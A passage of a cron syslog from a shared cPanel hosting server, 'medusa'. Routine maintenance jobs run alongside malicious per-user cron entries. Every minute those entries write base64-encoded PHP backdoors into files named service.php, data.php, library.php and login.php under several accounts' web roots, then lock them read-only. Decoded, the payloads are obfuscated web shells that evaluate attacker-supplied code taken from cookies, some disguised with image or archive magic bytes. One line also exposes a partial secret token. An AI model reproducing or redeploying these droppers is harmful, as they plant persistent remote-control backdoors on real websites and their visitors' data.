ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:34:01 medusa CROND[3971]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:34:01 medusa CROND[3972]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 11:34:01 medusa CROND[3973]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 11:34:01 medusa CROND[3983]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 11:35:01 medusa CROND[25814]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 11:35:01 medusa CROND[25816]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 11:35:01 medusa CROND[25972]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 11:35:01 medusa CROND[25970]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  1 11:35:01 medusa CROND[25973]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 11:35:01 medusa CROND[25975]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 11:35:01 medusa CROND[25971]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 11:35:01 medusa CROND[25974]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 11:35:01 medusa CROND[25976]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 11:35:01 medusa CROND[25977]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:35:01 medusa CROND[25983]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:35:01 medusa CROND[25984]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:35:01 medusa CROND[25980]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 11:35:01 medusa CROND[25999]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 11:35:01 medusa CROND[26000]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:35:01 medusa CROND[25998]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 11:35:01 medusa CROND[26005]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 11:35:01 medusa CROND[26007]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 11:35:01 medusa CROND[26004]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 11:35:01 medusa CROND[26013]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 11:35:01 medusa CROND[26009]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Mar  1 11:35:01 medusa CROND[26017]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 11:35:01 medusa CROND[26003]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 11:35:01 medusa CROND[26001]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  1 11:35:01 medusa CROND[26002]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 11:36:01 medusa CROND[15198]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 11:36:01 medusa CROND[15246]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 11:36:01 medusa CROND[15329]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:36:01 medusa CROND[15330]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 11:36:01 medusa CROND[15333]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 11:36:01 medusa CROND[15337]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 11:36:01 medusa CROND[15338]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:36:01 medusa CROND[15339]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 11:36:01 medusa CROND[15340]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 11:36:01 medusa CROND[15348]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:36:01 medusa CROND[15346]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 11:36:01 medusa CROND[15356]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 11:36:01 medusa CROND[15357]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo 